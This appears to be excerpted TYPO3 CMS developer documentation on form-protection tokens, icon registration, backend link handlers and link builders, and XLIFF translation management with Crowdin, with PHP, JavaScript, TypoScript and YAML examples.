The three parameters of the
generateToken() method:
$formName
$action (optional)
$formInstanceName (optional)
can be arbitrary strings, but they should make the form token as specific as
possible. For different forms (for example, BE user setup and editing a
tt_content record) or different records (with different UIDs) from the
same table, those values should be different.
For editing a
tt_content record, the call could look like this:
if ($dataHasBeenSubmitted &&
$formProtection->validateToken(
$request->getParsedBody()['formToken'] ?? '',
'BE user setup',
'edit'
) ) {
// process the data
} else {
// No need to do anything here, as the backend form protection will// create a flash message for an invalid token
}
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As it is recommended to use
FormProtectionFactory->createForRequest()
to auto-detect which type is needed, one can also create a specific type
directly:
Constants in TYPO3 define paths and database information. These values
are global and cannot be changed.
Constants are defined at various points during the bootstrap sequence.
To make the information below a bit more compact, namespaces were left out. Here
are the fully qualified class names referred to below:
Check
\TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::defineBaseConstants()
method for more constants.
TYPO3 still has some extension PHP script files executed in global context
without class or callable encapsulation, namely ext_localconf.php,
ext_tables.php and files within Configuration/TCA/Overrides/.
When those files are located within the public document root of an instance and
called via HTTP directly, they may error out and render error messages. This can
be a security risk. To prevent this, those files must have a security gate
as first line:
The PHP backed enum
\TYPO3\CMS\Core\Resource\FileType has been
introduced as a drop-in replacement for the public
FILETYPE_*
constants in
\TYPO3\CMS\Core\Resource\AbstractFile . The constants
have been removed with TYPO3 v14.0.
The file needs to return a PHP configuration array with the following keys:
EXT:my_extension/Configuration/Icons.php
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider;
useTYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider;
return [
// Icon identifier'tx-myext-svgicon' => [
// Icon provider class'provider' => SvgIconProvider::class,
// The source SVG for the SvgIconProvider'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
],
'tx-myext-bitmapicon' => [
'provider' => BitmapIconProvider::class,
// The source bitmap file'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
// All icon providers provide the possibility to register an icon that spins'spinning' => true,
],
'tx-myext-anothersvgicon' => [
'provider' => SvgIconProvider::class,
'source' => 'EXT:my_extension/Resources/Public/Icons/anothersvg.svg',
// Since TYPO3 v12.0 an extension that provides icons for broader// use can mark such icons as deprecated with logging to the TYPO3// deprecation log. All keys (since, until, replacement) are optional.'deprecated' => [
'since' => 'my extension v2',
'until' => 'my extension v3',
'replacement' => 'alternative-icon',
],
],
];
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Icon provider
The TYPO3 Core ships two icon providers which can be used straight away:
\TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider – For all
kinds of bitmap icons (GIF, PNG, JPEG, etc.)
\TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider – For SVG icons
You can use the Icon API to receive icons in your PHP
code or directly in Fluid.
The PHP way
You can use the
\TYPO3\CMS\Core\Imaging\IconFactory to request an icon:
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension;
useTYPO3\CMS\Core\Imaging\IconFactory;
useTYPO3\CMS\Core\Imaging\IconSize;
finalclassMyClass{
publicfunction__construct(
private readonly IconFactory $iconFactory,
){}
publicfunctiondoSomething(){
$icon = $this->iconFactory->getIcon(
'tx-myext-action-preview',
IconSize::SMALL,
'overlay-identifier',
);
// Do something with the icon, for example, assign it to the view// $this->view->assign('icon', $icon);
}
}
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Changed in version 13.0
The following icon sizes are available as enum values:
\TYPO3\CMS\Core\Imaging\IconSize::DEFAULT: 1em, to scale with font
size
\TYPO3\CMS\Core\Imaging\IconSize::SMALL: fixed to 16px
\TYPO3\CMS\Core\Imaging\IconSize::MEDIUM: fixed to 32px
(used as default value in API parameters)
\TYPO3\CMS\Core\Imaging\IconSize::LARGE: fixed to 48px
\TYPO3\CMS\Core\Imaging\IconSize::MEGA: fixed to 64px
Changed in version 14.0
The icon size class constants
\TYPO3\CMS\Core\Imaging\Icon::SIZE_*
deprecated in v13.0 have been removed. Use the enum values described above.
This will render the desired icon using an
img tag. If you prefer having
the SVG inlined into your HTML (for example, for being able to change colors
with CSS), you can set the optional
alternativeMarkupIdentifier
attribute to
inline. By default, the icon will pick up the font color of
its surrounding element if you use this option.
small: fixed to 16px (used as default value when not passed)
medium: fixed to 32px
large: fixed to 48px
mega: fixed to 64px
The JavaScript way
In JavaScript, icons can be only fetched from the Icon Registry. To achieve this,
add the following dependency to your ES6 module:
@typo3/backend/icons. In this section, the module is known as
Icons.
The module has a single public method
getIcon() which accepts up to five arguments:
identifier
|Condition: required
|Type: string
|
Identifier of the icon as registered in the Icon Registry.
size
|Condition: required
|Type: Sizes
|Default: medium
|
Desired size of the icon. All values of the
Sizes enum from
@typo3/backend/enum/icon-types are allowed,
these are:
default: 1em, to scale with font size
small: fixed to 16px
medium: fixed to 32px (default)
large: fixed to 48px
mega: fixed to 64px
overlayIdentifier
|Condition: optional
|Type: string
|
Identifier of an overlay icon as registered in the Icon Registry.
state
|Condition: optional
|Type: string
|
Sets the state of the icon. All values of the
States enum from
@typo3/backend/enum/icon-types are
allowed, these are: default and disabled.
markupIdentifier
|Condition: optional
|Type: string
|
Defines how the markup is returned. All values of the
MarkupIdentifiers enum from
@typo3/backend/enum/icon-types are
allowed, these are: default and inline. Please note that
inline is only meaningful for SVG icons.
The method
getIcon() returns a AjaxResponse Promise object, as internally
an Ajax request is done.
The icons are cached in the local storage of the client to reduce the workload off the server.
Here is an example code how a usage of the JavaScript Icon API may look like:
Links entered in the backend in TYPO3 are stored in an internal format in the
database.
Input of different link formats in the backend. The rich-text editor
is disabled for demonstration of these formats.
For example, a link to the page with uid 42 is stored in a backend field as
t3://page?uid=42 and in the rich-text editor (RTE) as
<a href="t3://page?uid=1">test</a>.
Such links must be converted before they are output as HTML in the frontend.
For example, in Fluid all input from the RTE should be output by the ViewHelper
Format.html ViewHelper <f:format.html>:
The fully-qualified classname of the link handler.
label
The name displayed on the tab button in the link browser.
displayAfter /
displayBefore
Can be used to decide the order of the tabs.
scanAfter /
scanBefore
The first backend link handler who determines that it can handle the link may edit a link. Most
likely your links will start with a specific prefix to identify them.
You should register your tab at least before the url link handler.
The url link handler treats all links, that no other handler can treat.
configuration
Some custom configuration, available to the backend link handler.
Record link handler configuration
Record link handlers have the following additional options:
configuration.hidePageTree = 1
Hide the page tree in the link browser
configuration.storagePid = 84
The link browser starts with the given page
configuration.pageTreeMountPoints = 123,456
Only records on these pages and their children will be displayed
Page link handler configuration
configuration.pageIdSelector.enabled
Enable an additional field in the link browser to enter the uid of a page.
Enable the field with the following page TSConfig:
Each tab rendered in the link browser has an associated link handler,
responsible for rendering the tab and for creating and editing of
links belonging to this tab.
Here is an example for a custom link handler in the link browser:
The options displayBefore and displayAfter define the order how the various tabs are displayed in the LinkBrowser.
The options scanBefore and scanAfter define the order in which handlers are queried when determining the responsible
tab for an existing link.
Most likely your links will start with a specific prefix to identify them.
Therefore you should register your tab at least before the 'url' handler, so your handler can advertise itself as responsible for the given link.
The 'url' handler should be treated as last resort as it will work with any link.
The LinkHandler API
The LinkHandler API currently consists of 7 LinkHandler classes and the
\TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface . The
LinkHandlerInterface can be implemented to create custom LinkHandlers.
Most LinkHandlers cannot receive additional configuration, they are marked as
@internal and contain neither hooks nor events. They are therefore
of interest to Core developers only.
In the system extension core there are also classes ending on
"LinkHandler". However those implement the interface
LinkHandlingInterface
and are part of the LinkHandling API, not the LinkHandler API.
The links are now stored in the database with the syntax
<a href="t3://record?identifier=anIdentifier&uid=456">A link</a>.
TypoScript is used to generate the actual link in the frontend.
config.recordLinks.anIdentifier {
// Do not force link generation when the record is hidden
forceLink = 0
typolink {
parameter = 123
additionalParams.data = field:uid
additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
}
}
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Attention
Do not change the identifier after links have been created using the LinkHandler. The identifier will be
stored as part of the link in the database.
The page TSconfig of the LinkHandler is being used in sysext backend
in class
\TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
which does not contain Hooks.
Attention
It is important, that the storagePid is hard coded in TSConfig, because using
constants, for example from the site configuration, will not work here.
Once more if the book reports that are also saved as tx_news_domain_model_news record should be displayed on their own
detail page you can do it like this:
The PageLinkHandler enables editors to link to pages and content.
It is implemented in class
\TYPO3\CMS\Backend\LinkHandler\PageLinkHandler
of the system extension backend. The class is marked as
@internal and contains neither hooks nor events.
The PageLinkHandler is preconfigured in the page TSconfig as:
It is possible to enable an additional field in the link browser to enter the uid of a page.
The uid will be used directly instead of selecting it from the page tree.
Enable the field with the following page TSConfig:
The handler is implemented in class
\TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
of the system extension backend. The class is marked as
@internal and contains neither hooks nor events.
In order to use the
RecordLinkHandler it can be configured as following:
Page TSconfig is used to create a new tab in the LinkBrowser to
be able to select records.
You can position your own handlers in order as defined in the LinkBrowser API.
The links are now stored in the database with the syntax
<a href="t3://record?identifier=anIdentifier&uid=456">A link</a>.
TypoScript configures how the link will be displayed in the frontend.
config.recordLinks.anIdentifier {
// Do not force link generation when the record is hidden
forceLink = 0
typolink {
parameter = 123
additionalParams.data = field:uid
additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
}
}
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Attention
Do not change the identifier after links have been created using the
RecordLinkHandler. The identifier will be stored as part of the link in the
database.
The TypoScript Configuration of the LinkHandler is being used in sysext frontend
in class
\TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder .
Implementing a custom LinkHandler
It is possible to implement a custom LinkHandler if links are to be created
and handled that cannot be handled by any of the Core LinkHandlers.
The example below is part of the TYPO3 Documentation Team extension examples.
Implementing the LinkHandler
You can have a look at the existing LinkHandler in the system extension
"backend", found at typo3/sysext/backend/Classes/LinkHandler.
However please note that all these extensions extend the
\TYPO3\CMS\Backend\LinkHandler\AbstractLinkHandler ,
which is marked as
@internal and subject to change without further notice.
You should therefore implement the interface
\TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface in your custom
LinkHandlers:
If you want to be compatible to both TYPO3 v13 and v12, you can keep your
implementation of the
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['Link']['resolveByStringRepresentation']
and implement the event listener at the same time. Remove the hook
implementation when dropping TYPO3 v12 support.
Core link handler
The Core link handler, implementing the
\TYPO3\CMS\Core\LinkHandling\LinkHandlingInterface described here
matches between different internal representations of a link. It is not
to be mixed up with the backend link handler, commonly
also just called link handler. The latter implements the
\TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface and renders a
tab in the link browser.
You can find the built-in Core link handlers in
EXT:core/Classes/LinkHandling.
A link builder, a class extending the abstract class
\TYPO3\CMS\Frontend\Typolink\AbstractTypolinkBuilder , is called whenever
a link is rendered in the frontend.
There are specific link builders for each type of link. Which link to
call is determined by the class configured in global configuration,
see FE - frontend configuration.
You can register a custom link builder in your extension's
ext_localconf.php:
The link builders provided by the Core can be found in namespace
\TYPO3\CMS\Frontend\Typolink. It is possible to also create a
custom link builder.
The main method of a link builder is the function
AbstractTypolinkBuilder::build(). It is called with
with the parameter array provided by the
Core link handler.
If the link can be rendered,
it returns a new
\TYPO3\CMS\Frontend\Typolink\LinkResult object. The
actual rendering of the link depends on the context the link is rendered in
(for example HTML or JSON).
If the link cannot be built it should throw a
\TYPO3\CMS\Frontend\Typolink\UnableToLinkException .
This tutorial explains how to create a link browser to the records of a table.
It can be used to create links to a news detail page (See also the
Link browser example in tutorial in the news extension manual)
or to the record of another third-party extension.
In our example extension t3docs/examples
we demonstrate creating a custom record link browser by linking to the single
view of a haiku poem.
A link browser for records of the custom table 'haiku'
Backend: Configure the link browser with page TSconfig
The following configuration displays an additional tab in the link browser
window in the backend.
When an editor now selects a haiku poem as link it will then be saved
as t3://record?identifier=haiku&uid=1 in backend link
fields and as
<a href="t3://record?identifier=haiku&uid=1">Look at this Haiku!</a>
in the rich text editor (RTE).
The output of the link needs still to be configured or the
link will be removed upon rendering. See the next step:
Frontend: Configure the detail link to the record with TypoScript
For the frontend output of a haiku record link we have to configure the
page on which the plugin handling the detail view is displayed and the
parameters this plugin expects:
config.recordLinks.haiku {
// Do not force link generation when the record is hidden
forceLink = 0
typolink {
parameter = {$plugin.tx_examples_haiku.settings.singlePid}
additionalParams.data = field:uid
additionalParams.wrap = &tx_examples_haiku[action]=show&tx_examples_haiku[haiku]=|
}
}
Some configuration, available to the backend link handler. This information
is not available in the frontend. Therefore in the frontend
rendering of the link the information must be
stored in another way. In this example we hardcoded it. But you could also
make it available by TypoScript Setup or as part of the link that is saved.
To create a link browser tab we implement the interface
\TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface .
All backend link handlers provided by the Core extend the abstract class
\TYPO3\CMS\Backend\LinkHandler\AbstractLinkHandler . However, this class is
marked as
@internal and therefore can be changed by the Core Team at any time.
You have the choice of implementing the
LinkHandlerInterface yourself by
having a look at the
AbstractLinkHandler for best practices or to extend
the
AbstractLinkHandler. In the latter case your code might break on
updates though.
In this tutorial, we implement the
LinkHandlerInterface directly, as it is
best practice not to rely on internal classes.
You can find the complete class in the extension EXT:examples on GitHub:
GitHubLinkHandler.
We will explain some of the important methods below:
Initialization and dependencies
Class T3docs\Examples\LinkHandler\GitHubLinkHandler
For technical reasons, not all dependencies needed by the backend link handler can
be acquired by Dependency injection. Therefore the following two methods
are called by Core classes once the dependencies are available:
LinkHandlerInterface::initialize() takes care of setting the
\TYPO3\CMS\Backend\Controller\AbstractLinkBrowserController , the identifier and
the configuration information. In this example we only need the configuration,
the other parameters might be needed in different scenarios.
AbstractLinkBrowserController $linkBrowser
Is the surrounding class calling the link handler. This class stores
configuration information of the complete link browser window.
string $identifier
Contains the key of the page TSconfig configuration of the link browser tab
this instance renders.
array $configuration
Contains the page TSconfig configuration as array of the link browser tab
this instance renders.
The method
setView() is called by the
AbstractLinkBrowserController
once the view is available and contains the necessary information to render
the link browser window.
Note
setView() is not part of the
LinkHandlerInterface
and its call is an implementation detail that might be
changed in the future.
Enable dependency injection
Backend link handlers are called internally in the TYPO3 Core by
GeneralUtility::makeInstance(). Therefore dependency injection needs
to be enabled by marking the class as public in the extension's
Configuration/Services.yaml. As we keep internal states in the link
handler class (for example
$linkParts) it cannot be a singleton and must
be marked as
shared: false:
EXT:examples/Configuration/Services.yaml
services:_defaults:autowire:trueautoconfigure:truepublic:falseT3docs\Examples\LinkHandler\GitHubLinkHandler:public:true# The link handler keeps a state and can therefore be no singletonshared:false
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Render the link browser tab
The method
LinkHandlerInterface::render() is called when the tab should
be rendered. It registers the required JavaScript in the page renderer, assigns
variables to the view and returns the rendered HTML.
Class T3docs\Examples\LinkHandler\GitHubLinkHandler
/*
* This file is part of the TYPO3 CMS project.
*
* It is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License, either version 2
* of the License, or any later version.
*
* For the full copyright and license information, please read the
* LICENSE.txt file that was distributed with this source code.
*
* The TYPO3 project - inspiring people to share!
*/import LinkBrowser
from"@typo3/backend/link-browser.js";
/**
* Module: @t3docs/examples/github_link_handler.js
* Github issue link interaction
*/classGitHubLinkHandler{
constructor() {
var form_el = document.getElementById("lgithubform");
form_el.addEventListener("submit", function(event) {
event.preventDefault();
var value = document.getElementById('lgithub').value;
if (value === 't3://github?issue=') {
return;
}
if (value.indexOf('t3://github?issue=') === 0) {
value = value.substring(18);
}
LinkBrowser.finalizeFunction('t3://github?issue=' + value);
});
}
}
exportdefaultnew GitHubLinkHandler();
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It is important that the JavaScript function calls
LinkBrowser.finalizeFunction(). Otherwise no link will be set.
If not done yet, the JavaScript has to be registered in the file
EXT:my_extension/Configuration/JavaScriptModules.php. Otherwise it
will not be found by
$pageRenderer->loadJavaScriptModule().
As our JavaScript class depends on classes provided by the backend system extension,
backend has to be added as dependency. See also
Loading ES6.
Can we handle this link?
The method
LinkHandlerInterface::canHandleLink() is called when the
user edits an existing link in the link browser. All backend link handlers will
be called and can decide if they can handle that link. If so, they should store
the provided information to be used in rendering (for example, to fill an input
field with the old value).
Class T3docs\Examples\LinkHandler\GitHubLinkHandler
The function
LinkHandlerInterface::formatCurrentUrl() is used to preview
what the link will look like in the backend, for example, in the upper part of
the link browser window.
Attention
LinkHandlerInterface::formatCurrentUrl() is not used to render the
link in the frontend.
3. Introduce the custom link format
You can find the complete class in the extension EXT:examples on GitHub:
GitHubLinkHandling.
This format is only an arbitrary string until we tell TYPO3 how to handle links
of the new format by a second class which implements the
\TYPO3\CMS\Core\LinkHandling\LinkHandlingInterface .
Note
There are two interfaces with very similar names and very different
functionality involved here. The
\TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface renders a tab in
the link browser window in the backend. Its implementing class is commonly
called a "(backend) link handler". Classes implementing the interface
\TYPO3\CMS\Core\LinkHandling\LinkHandlingInterface handle the
introduced link format. Such a class is called a "(core) link handler".
Class T3docs\Examples\LinkHandler\GitHubLinkHandling
The method
LinkHandlingInterface::asString() creates a string
representation from the parameter array.
LinkHandlingInterface::resolveHandlerData() receives
the string representation of the link and creates the parameter array from it.
For convenience the parameters are already parsed and stored as key-value pairs
in an array for you. You can perform further processing here if needed.
4. Render the custom link format in the frontend
The link builder, a class extending the abstract class
\TYPO3\CMS\Frontend\Typolink\AbstractTypolinkBuilder is called whenever
a link is rendered in the frontend, for example via
TypoScript
.typolink, by the
\TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer::typoLink
function or by the
\TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder .
Class T3docs\Examples\LinkHandler\GithubLinkBuilder
useTYPO3\CMS\Frontend\Typolink\LinkResult;
useTYPO3\CMS\Frontend\Typolink\LinkResultInterface;
useTYPO3\CMS\Frontend\Typolink\UnableToLinkException;
/**
* Builds a TypoLink to a Github issue
*/classGithubLinkBuilderextendsAbstractTypolinkBuilder{
privateconst TYPE_GITHUB = 'github';
publicfunctionbuild(
array &$linkDetails,
string $linkText,
string $target,
array $conf,
): LinkResultInterface{
$issueId = (int)$linkDetails['issue'];
if ($issueId < 1) {
thrownew UnableToLinkException(
'"' . $issueId . '" is not a valid GitHub issue number.',
// Use the Unix timestamp of the time of creation of this message1665304602,
null,
$linkText,
);
}
$url = 'https://github.com/TYPO3-Documentation/TYPO3CMS-Reference-CoreApi/issues/' . $issueId;
return (new LinkResult(self::TYPE_GITHUB, $url))
->withTarget($target)
->withLinkConfiguration($conf)
->withLinkText($linkText);
}
}
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The link builder must be registered in ext_localconf.php, so that
the correct link builder for the new type can be determined by the calling API:
The function
AbstractTypolinkBuilder::build() is called with the link
configuration and data from the typolink function. If the link can be rendered,
it returns a new
\TYPO3\CMS\Frontend\Typolink\LinkResultInterface . The
actual rendering of the link depends on the context the link is rendered in
(for example HTML or JSON).
If the link cannot be built it should throw a
\TYPO3\CMS\Frontend\Typolink\UnableToLinkException .
Attention
The configuration from the :ref:`page TSconfig
configuration <tutorial_backend_link_handler-tsconfig>` (step 1)
is not available in the frontend. Therefore the information which
repository to use must be stored in another way. In this example we
hardcoded it. But you could also make it available by TypoScript
setup or as part of the link format that is saved.
Except for some low level functions, TYPO3 exclusively uses localizable
strings for all labels displayed in the backend. This means that the whole user
interface may be translated. The encoding is strictly UTF-8.
The default language is American (US) English, and the Core ships only with such
labels (and so should extensions).
All labels are stored in XLIFF format, generally located in the
Resources/Private/Language/ folder of an extension (old locations
may still be found in some places).
The format, TYPO3 specific details and managing interfaces of XLIFF are
outlined in detail in this chapter.
Supported languages
New in version 13.1
Irish Gaelic (ga), Scottish Gaelic (gd) and Maltese (mt) are supported.
The list of supported languages is defined in
\TYPO3\CMS\Core\Localization\Locales::$languages.
Locale in TYPO3
Name
default
English
af
Afrikaans
ar
Arabic
bs
Bosnian
bg
Bulgarian
ca
Catalan
ch
Chinese (Simple)
cs
Czech
da
Danish
de
German
el
Greek
eo
Esperanto
es
Spanish
et
Estonian
eu
Basque
fa
Persian
fi
Finnish
fo
Faroese
fr
French
fr_CA
French (Canada)
ga
Irish Gaelic
gd
Scottish Gaelic
gl
Galician
he
Hebrew
hi
Hindi
hr
Croatian
hu
Hungarian
is
Icelandic
it
Italian
ja
Japanese
ka
Georgian
kl
Greenlandic
km
Khmer
ko
Korean
lb
Luxembourgish
lt
Lithuanian
lv
Latvian
mi
Maori
mk
Macedonian
ms
Malay
mt
Maltese
nl
Dutch
no
Norwegian
pl
Polish
pt
Portuguese
pt_BR
Brazilian Portuguese
ro
Romanian
ru
Russian
rw
Kinyarwanda
sk
Slovak
sl
Slovenian
sn
Shona (Bantu)
sq
Albanian
sr
Serbian
sv
Swedish
th
Thai
tr
Turkish
uk
Ukrainian
vi
Vietnamese
zh
Chinese (Traditional)
zh_CN
Chinese (Simplified)
zh_HK
Chinese (Simplified Hong Kong)
zh_Hans_CN
Chinese (Simplified Han)
Tip
If you need additional languages there are two possible options:
Take a look at the section Custom languages to solve
it in your project.
Managing translations
This sections highlights the different ways to translate and manage XLIFF files.
Fetching translations
The backend module Admin Tools > Maintenance > Manage Language Packs
allows to manage the list of available languages to your users and can fetch and
update language packs of TER and Core extensions from the official translation server.
The module is rather straightforward to use and should be pretty much self-explanatory.
Downloaded language packs are stored in the environment's
getLabelsPath().
The Languages module with some active languages and status of extensions language packs
Language packs can also be fetched using the command line:
vendor/bin/typo3 language:update
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typo3/sysext/core/bin/typo3 language:update
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Local translations
With t3ll it is possible to translate
XLIFF files locally. t3ll is an open source, cross-platform application and runs
on console under Linux, MacOS and Windows. It opens its editor inside a Google
Chrome or Chromium window.
Translating files locally is useful for extensions which should not be published
or for creating custom translations.
Custom translations
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride'] allows to
override XLIFF files. Actually, this is not just about translations. Default
language files can also be overridden. The syntax is as follows:
EXT:examples/ext_localconf.php
<?phpdeclare(strict_types=1);
defined('TYPO3') ordie();
// Override a file in the default language
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']
['EXT:frontend/Resources/Private/Language/locallang_tca.xlf'][]
= 'EXT:examples/Resources/Private/Language/custom.xlf';
// Override a German ("de") translation
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']['de']
['EXT:news/Resources/Private/Language/locallang_modadministration.xlf'][]
= 'EXT:examples/Resources/Private/Language/Overrides/de.locallang_modadministration.xlf';
<?xml version="1.0" encoding="utf-8" standalone="yes" ?><xliffversion="1.0"><filesource-language="en"datatype="plaintext"date="2013-03-09T18:44:59Z"product-name="examples"><body><trans-unitid="pages.title_formlabel"approved="yes"><source>Most important title</source><target>Wichtigster Titel</target></trans-unit></body></file></xliff>
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and the result can be easily seen in the backend:
Custom translation in the TYPO3 backend
Attention
You do not have to copy the full reference file, but only the labels you
want to translate.
The path to the file to be overridden must be specified as
EXT:my_extension/... and have the extension xlf.
Attention
The following is a bug but must be taken as a constraint for now:
The files containing the custom labels must be located inside an
extension. Other locations will not be considered.
The original translation needs to exist in the environment's
getLabelsPath() or next to the base translation file in
extensions, for example in
my_extension/Resources/Private/Language/.
Custom languages
TYPO3 supports many languages by default. But it is also
possible to add custom languages and create the translations locally using XLIFF
files.
Define the language
As example, we "gsw_CH" (the official code for “Schwiizertüütsch” - that is
"Swiss German") as additional language:
This new language does not have to be translated entirely. It can be defined
as a fallback to another language, so that only differing labels have to be
translated:
In this case, we define that "gsw_CH" can fall back on "de_AT" (another
custom translation) and then on "de".
Add translation files
The translations for system extensions and extensions from TER must be stored in the appropriate labels path
sub-folder (getLabelsPath()), in this case gsw_CH.
The custom language is now available in the user settings:
The new language appears in the user preferences
For translations in own extensions you can provide the custom language files
in the Resources/Private/Language/ folder of the extension, for
example gsw_CH.locallang_db.xlf.
Note
Each language will always fall back on the default one (i.e. English) if no
a translation is found. A custom language will fall back on its "parent"
language automatically. Thus, in our second example of "de_AT" (German for
Austria), there would be no need to define a fallback for "de_AT" if it fell
back to "de".
See also
Configure
typo3Language to use custom languages in the frontend,
see Adding Languages for details.
Translation servers
A translation server holds all translations which can be fetched by multiple
TYPO3 installations. The translations for the TYPO3 Core and several third-party
extensions are managed via Crowdin. But it is also possible to operate your own
translation server and connect it with a TYPO3 installation for custom
extensions.
Crowdin is a cloud-based localization management platform and offers features
essential for delivering great translation:
Single source
Translate text once that is used in different versions and parts of the
software.
Machine translation
Let machines do the first pass and then human-translators can edit the
suggestions.
Glossary
We can use our own TYPO3 glossary to make sure specific words are properly
translated (for example, "Template" in German, "TypoScript" or "SEO").
Translation memory
We can reuse existing translations, no matter if done for the TYPO3 Core or
an extension.
Contribute translations
There are basically two cases where you can provide a helping hand:
Join the Localization Team and help where you can. This can be the translation of a whole extension into your language or the revision of a part of the Core.
Contribution to the general translation of the TYPO3 Core and extensions:
As TYPO3 is growing in features and functionality, the need for translating
new labels grows as well. You can contribute with help while TYPO3 is
growing. Join in and give a hand where you can. This can be the translation
of a whole extension into your language or the revision of a part of the
Core.
If you develop extensions, you can make the extension available for
translation. Just follow Extension integration to make it
available to the translation team.
Even if you do not see yourself as a translator, you can still participate. In
case you stumble across a typo, an error or an untranslated term in your
language in TYPO3: Log in to Crowdin, join the project where you found the typo
and make a suggestion for the label in your language.
The quality of your work is more important than its quantity. Ensure correct
spelling (for example, capitalization), grammar, and punctuation. Use only
terminology that is consistent with the rest of the language pack. Do not make
mistakes in the technical parts of the strings, such as variable placeholders,
HTML, etc. For these reasons, using an automatic translation (e.g. Google Translate) is never good enough.
For these reasons, using automatic translation (for example, Google Translate or
DeepL) is never good enough.
All services and documents that are visible to the user are translated by the
translation team. It does not matter which language you speak. We already have
many language teams that are very active. Our goal is more diversity to help us
with our work on internationalization.
This section describes how an extension author can get his extension set up at
Crowdin.
Note
Your extension must be on GitHub, GitLab
(SaaS or self-managed) or BitBucket.
Currently, TYPO3 can only handle one branch/version for languages.
Typically you should select the "main" branch.
Setup
Get in contact with the team in the TYPO3 Slack channel
#typo3-localization-team with the following information:
Extension name
Your email address for an invitation to Crowdin, so you will get the correct
role for your project.
Integration
In a next step you need to configure the integration of your Git provider into
Crowdin. Have a look at the documentation on how to connect your repository with
Crowdin:
In the Crowdin project settings, go to the Integrations tab and click on the button
"Browse Integrations", then choose "GitHub". Follow the instructions to connect your
GitHub repository to Crowdin.
Once installed, the Integrations tab will show the GitHub integration with a button
to "Set Up Integration". Click on it and choose the mode "Source and translation
files mode".
At this point, Crowdin will request additional permissions to access your repository.
You should accept the default permissions and click on the "Authorize crowdin" button.
Then follow the instructions to configure the integration:
Select the repository from the list of your GitHub repositories.
Select the branch to use for synchronization (usually main or master).
- When ticking the branch, Crowdin will suggest a "Service Branch Name"
l10n_main (or l10n_master), which is the branch where Crowdin will push
the translations. You can keep the default value.
Click the pencil icon next to the Service Branch Name to edit configuration.
When asked for the Configuration file name, change it from crowdin.yml to
.crowdin.yml and click "Continue". This will effectively use the configuration
we created in Step 1 and ensure that everything is properly configured for your
TYPO3 extension.
Click the "Save" button to save the configuration.
Back to the main GitHub integration page, you should see a circled checkmark next
to the Service Branch Name, indicating that the integration is correctly set up.
Ensure the checkbox "One-time translation import after the branch is connected" is
ticked.
Do not tick the checkbox "Push Sources" as the sources are already in the repository
and changes are managed within the extension repository and not in Crowdin.
Click the "Save" button to save the configuration of the integration.
Step 3: Import existing translations
In case you have local translations, you may do a one-time import by using the Crowdin
web interface and manually importing a zip file with the existing translations.
To prepare the zip file, you can use the following command:
zip translations.zip Resources/Private/Language/*.*.xlf
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Then go to the Crowdin project, click on the "Translations" tab and drag and drop
the zip file into the area "Upload existing translations".
Note
The import will work best only if the translation files contain both the
<source> and <target> elements. If the <source> elements are missing,
Crowdin will not be able to match the translations with the original English labels.
Crowdin provides you with a well-written and extended knowledge base on all
questions regarding how to use the platform. You can find it here:
https://support.crowdin.com/.
Using Crowdin is free for Open Source projects. For private projects, Crowdin's
pricing model is based on projects and not on individual users.
To help you get started, Tom Warwick has created a short tutorial video for you:
Teams and roles
When you sign up for an account at Crowdin for the first time, you will be
awarded with the role "Translator" and you can start translating.
Find the project via the search and click on the Join button. Click
on the language/flag you want to translate. Go ahead and translate!
All translated strings are considered translated, but not proofread. When
the strings have been proofread by team members with the "Proofreader" role,
the translation will be available for all TYPO3 instances via the
"Managing Language Packs" section in the TYPO3 backend.
The language files in Core
In Crowdin, the TYPO3 Core is divided into system extensions and their
underlying language files. Each system extension contains one or more files, and
the structure reflects the actual structure, but only for the
XLIFF files.
While you translate an XLIFF file, Crowdin supports you with valuable
information:
You get a clear overview on the progress. A grey bar means that work needs
to be done, the blue bar shows how many words have been translated and the
green bar shows how many words have been approved.
The system offers you suggestions on terms and translations from the
Translation Memory (TM) and Machine Translation (MT).
You can sort and order the labels in different ways; show only untranslated,
unresolved, commented, and so on. And all the labels as well.
You can start discussions about a specific string.
You can search the Translation Memory.
You can improve the Translation Memory by adding new terms.
You can easily get in contact with the language manager and team members.
Preconditions
You need a detailed understanding of how TYPO3 works. You have preferably worked
with TYPO3 for some years as developer, administrator, integrator or senior
editor. You know your way around in the backend and you are familiar with most
of the functionality and features. If you are more focused in translating
extensions, you will need to understand all the parts of the extension before
you start translating.
What skills are needed
You need to be bilingual: fluent in both English and the language you are
translating into. It would be hard work if you only had casual knowledge of the
target language or English. And we would (probably) end up with a confusing
localization.
A good understanding of how a language is constructed in terms of nouns, verbs,
punctuation and grammar in general will be necessary.
How to create (good) translations
Stay true to the source labels you work with. Given that the developer of
the code, who made the English text, understands the functionality best,
please try to translate the meaning of the sentences.
Translate organically, not literally. The structure or your target language
is important. English often has a different structure and tone, so you must
adapt the equal text but the equivalent. So please do not replicate, but
replace.
Use the same level of formality. The cultural context can be very different
from different languages. What works in English may be way far too informal
in your language and vice versa. Try to find a good level of (in)formality
